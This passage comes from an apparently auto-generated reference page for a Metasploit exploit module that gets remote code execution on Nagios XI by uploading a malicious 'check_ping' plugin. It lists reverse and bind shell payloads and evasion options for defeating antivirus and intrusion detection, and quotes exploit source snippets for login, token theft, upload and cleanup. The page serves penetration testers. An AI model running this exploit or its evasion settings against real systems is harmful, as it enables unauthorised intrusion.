   7   payload/linux/x64/meterpreter_reverse_https                    normal  No     Linux Meterpreter, Reverse HTTPS Inline
   8   payload/linux/x64/meterpreter_reverse_tcp                      normal  No     Linux Meterpreter, Reverse TCP Inline
   9   payload/linux/x64/pingback_bind_tcp                            normal  No     Linux x64 Pingback, Bind TCP Inline
   10  payload/linux/x64/pingback_reverse_tcp                         normal  No     Linux x64 Pingback, Reverse TCP Inline
   11  payload/linux/x64/shell/bind_tcp                               normal  No     Linux Command Shell, Bind TCP Stager
   12  payload/linux/x64/shell/reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Stager
   13  payload/linux/x64/shell_bind_ipv6_tcp                          normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   14  payload/linux/x64/shell_bind_tcp                               normal  No     Linux Command Shell, Bind TCP Inline
   15  payload/linux/x64/shell_bind_tcp_random_port                   normal  No     Linux Command Shell, Bind TCP Random Port Inline
   16  payload/linux/x64/shell_reverse_ipv6_tcp                       normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   17  payload/linux/x64/shell_reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the linux/http/nagios_xi_plugins_check_plugin_authenticated_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to install Nagios XI on the target.


Here is a relevant code snippet related to the "Failed to install Nagios XI on the target." error message:

127:	      login_result, res_array = login_after_install_or_license(username, password, finish_install)
128:	      case login_result
129:	      when 1..3 # An error occurred
130:	        return CheckCode::Unknown(res_array[0])
131:	      when 4 # Nagios XI is still not fully installed
132:	        return CheckCode::Detected('Failed to install Nagios XI on the target.')
133:	      end
134:	    end
135:	
136:	    # when 5 is excluded from the case statement above to prevent having to use this code block twice.
137:	    # Including when 5 would require using this code block once at the end of the `when 4` code block above, and once here.

Failed to sign the license agreement.


Here is a relevant code snippet related to the "Failed to sign the license agreement." error message:

145:	      login_result, res_array = login_after_install_or_license(username, password, finish_install)
146:	      case login_result
147:	      when 1..3
148:	        return CheckCode::Unknown(res_array[0])
149:	      when 5 # the Nagios XI license agreement still has not been signed
150:	        return CheckCode::Detected('Failed to sign the license agreement.')
151:	      end
152:	    end
153:	
154:	    print_good('Successfully authenticated to Nagios XI')
155:	

Unable to obtain the Nagios XI version from the dashboard


Here is a relevant code snippet related to the "Unable to obtain the Nagios XI version from the dashboard" error message:

156:	    # Obtain the Nagios XI version
157:	    @auth_cookies = res_array[1] # if we are here, this cannot be nil since the mixin checks for that already
158:	
159:	    nagios_version = nagios_xi_version(res_array[0])
160:	    if nagios_version.nil?
161:	      return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')
162:	    end
163:	
164:	    print_status("Target is Nagios XI with version #{nagios_version}")
165:	
166:	    if /^\d{4}R\d\.\d/.match(nagios_version) || /^\d{4}RC\d/.match(nagios_version) || /^\d{4}R\d.\d[A-Ha-h]/.match(nagios_version) || nagios_version == '5R1.0'

Connection failed while trying to visit `<MONITORING_PLUGINS_URL>`


Here is a relevant code snippet related to the "Connection failed while trying to visit `<MONITORING_PLUGINS_URL>`" error message:

183:	      'method' => 'GET',
184:	      'cookie' => @auth_cookies
185:	    })
186:	
187:	    unless res
188:	      fail_with(Failure::Disconnected, "Connection failed while trying to visit `#{@monitoring_plugins_url}`")
189:	    end
190:	
191:	    unless res.code == 200 && res.body.include?('<title>Manage Plugins &middot; Nagios XI</title>')
192:	      fail_with(Failure::UnexpectedReply, "Unexpected response received while trying to visit `#{@monitoring_plugins_url}`")
193:	    end

Unexpected response received while trying to visit `<MONITORING_PLUGINS_URL>`


Here is a relevant code snippet related to the "Unexpected response received while trying to visit `<MONITORING_PLUGINS_URL>`" error message:

187:	    unless res
188:	      fail_with(Failure::Disconnected, "Connection failed while trying to visit `#{@monitoring_plugins_url}`")
189:	    end
190:	
191:	    unless res.code == 200 && res.body.include?('<title>Manage Plugins &middot; Nagios XI</title>')
192:	      fail_with(Failure::UnexpectedReply, "Unexpected response received while trying to visit `#{@monitoring_plugins_url}`")
193:	    end
194:	
195:	    @nsp = get_nsp(res)
196:	
197:	    if @nsp.blank?

Failed to obtain the nsp token required to upload the payload


Here is a relevant code snippet related to the "Failed to obtain the nsp token required to upload the payload" error message:

193:	    end
194:	
195:	    @nsp = get_nsp(res)
196:	
197:	    if @nsp.blank?
198:	      fail_with(Failure::Unknown, 'Failed to obtain the nsp token required to upload the payload')
199:	    end
200:	  end
201:	
202:	  def execute_command(cmd, _opts = {})
203:	    print_status("Uploading malicious 'check_ping' plugin...")

Upload failed


Here is a relevant code snippet related to the "Upload failed" error message:

215:	      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
216:	      'data' => post_data.to_s
217:	    })
218:	
219:	    unless res
220:	      fail_with Failure::Unreachable, 'Upload failed'
221:	    end
222:	
223:	    unless res.code == 200 && res.body.include?('New plugin was installed successfully')
224:	      fail_with Failure::Unknown, 'Failed to upload plugin.'
225:	    end

Failed to upload plugin.


Here is a relevant code snippet related to the "Failed to upload plugin." error message:

219:	    unless res
220:	      fail_with Failure::Unreachable, 'Upload failed'
221:	    end
222:	
223:	    unless res.code == 200 && res.body.include?('New plugin was installed successfully')
224:	      fail_with Failure::Unknown, 'Failed to upload plugin.'
225:	    end
226:	
227:	    @plugin_installed = true
228:	  end
229:	

Failed to delete the malicious 'check_ping' plugin: Connection failed. Manual cleanup is required.


Here is a relevant code snippet related to the "Failed to delete the malicious 'check_ping' plugin: Connection failed. Manual cleanup is required." error message:

251:	        'nsp' => @nsp
252:	      }
253:	    })
254:	
255:	    unless res
256:	      print_warning("Failed to delete the malicious 'check_ping' plugin: Connection failed. Manual cleanup is required.")
257:	      return
258:	    end
259:	
260:	    unless res.code == 200 && res.body.include?('Plugin deleted')
261:	      print_warning("Failed to delete the malicious 'check_ping' plugin. Manual cleanup is required.")

Failed to delete the malicious 'check_ping' plugin. Manual cleanup is required.


Here is a relevant code snippet related to the "Failed to delete the malicious 'check_ping' plugin. Manual cleanup is required." error message:

256:	      print_warning("Failed to delete the malicious 'check_ping' plugin: Connection failed. Manual cleanup is required.")
257:	      return
258:	    end
259:	
260:	    unless res.code == 200 && res.body.include?('Plugin deleted')
261:	      print_warning("Failed to delete the malicious 'check_ping' plugin. Manual cleanup is required.")
262:	      return
263:	    end
264:	
265:	    print_good('Plugin deleted.')
266:	  end

Target is vulnerable but this module does not support exploiting NagiosXI <VERSION> at this time.


Here is a relevant code snippet related to the "Target is vulnerable but this module does not support exploiting NagiosXI <VERSION> at this time." error message:

269:	    @monitoring_plugins_url = normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php')
270:	    grab_plugins_nsp
271:	    wfsdelay = datastore['WfsDelay']
272:	
273:	    if @version < Rex::Version.new('5.2.0')
274:	      fail_with(Failure::NoTarget, "Target is vulnerable but this module does not support exploiting NagiosXI #{@version} at this time.")
275:	    end
276:	    if target.arch.first == ARCH_CMD
277:	      execute_command(payload.encoded)
278:	      message = "Waiting up to #{wfsdelay} seconds for the payload to connect back..."
279:	    else

For NagiosXi version <VERSION> it may take serveral minutes for a session to open. If the module times out, try increasing the `WfsDelay` value.


Here is a relevant code snippet related to the "For NagiosXi version <VERSION> it may take serveral minutes for a session to open. If the module times out, try increasing the `WfsDelay` value." error message:

279:	    else
280:	      execute_cmdstager(background: true)
281:	      message = "Waiting up to #{wfsdelay} seconds for the plugin to request the final payload..."
282:	    end
283:	    if @version >= Rex::Version.new('5.2.0') && @version < Rex::Version.new('5.5.0')
284:	      print_warning("For NagiosXi version #{@version} it may take serveral minutes for a session to open. If the module times out, try increasing the `WfsDelay` value.")
285:	    end
286:	    print_good('Successfully uploaded plugin.')
287:	    execute_payload
288:	    print_status(message)
289:	  end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Jak Gibb
  • Erik Wynter

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.